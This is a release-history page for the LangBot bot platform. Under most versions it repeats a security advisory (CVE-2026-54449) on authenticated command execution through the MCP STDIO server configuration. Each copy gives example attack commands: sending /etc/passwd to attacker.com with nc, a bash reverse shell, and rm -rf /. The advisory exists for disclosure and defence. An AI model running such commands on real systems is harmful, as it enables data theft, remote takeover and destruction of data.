langbot
Production-grade platform for building agentic IM bots - 生产级多平台智能机器人开发平台/ Agent、知识库编排、插件系统 / Bots for Discord / Slack / LINE / Telegram / WeChat(企业微信, 企微智能机器人, 公众号) / 飞书 / 钉钉 / QQ / Matrix e.g. Integrated with ChatGPT(GPT), DeepSeek, Dify, n8n, Langflow, Coze, Claude, Gemini, GLM, Ollama, SiliconFlow, Moonshot, openclaw / hermes agent, deerflow
View on Github
Activity
- Latest release
- 3h ago
- Total releases
- 50
- Cadence
- ~3 days
- Last 12 months
- 48
Reach
- Stars
- 17.8k
Details
- License
- AGPL-3.0
- First release
- Aug 23, 2025
| Version | Released | |
|---|---|---|
4.11.0b1
pre
| ||
4.10.11
patch
| ||
4.10.10
patch
| ||
4.10.9
patch
| ||
4.10.8
patch
| ||
4.10.7
patch
| ||
4.10.6
patch
| ||
4.10.5
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.10.4
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.10.3
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.10.2
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.10.1
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.10.0
minor
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.10.0b3
pre
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.10.0b2
pre
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.10.0b1
pre
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.9.7
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.9.6
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.9.5
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.9.4
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.9.3
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
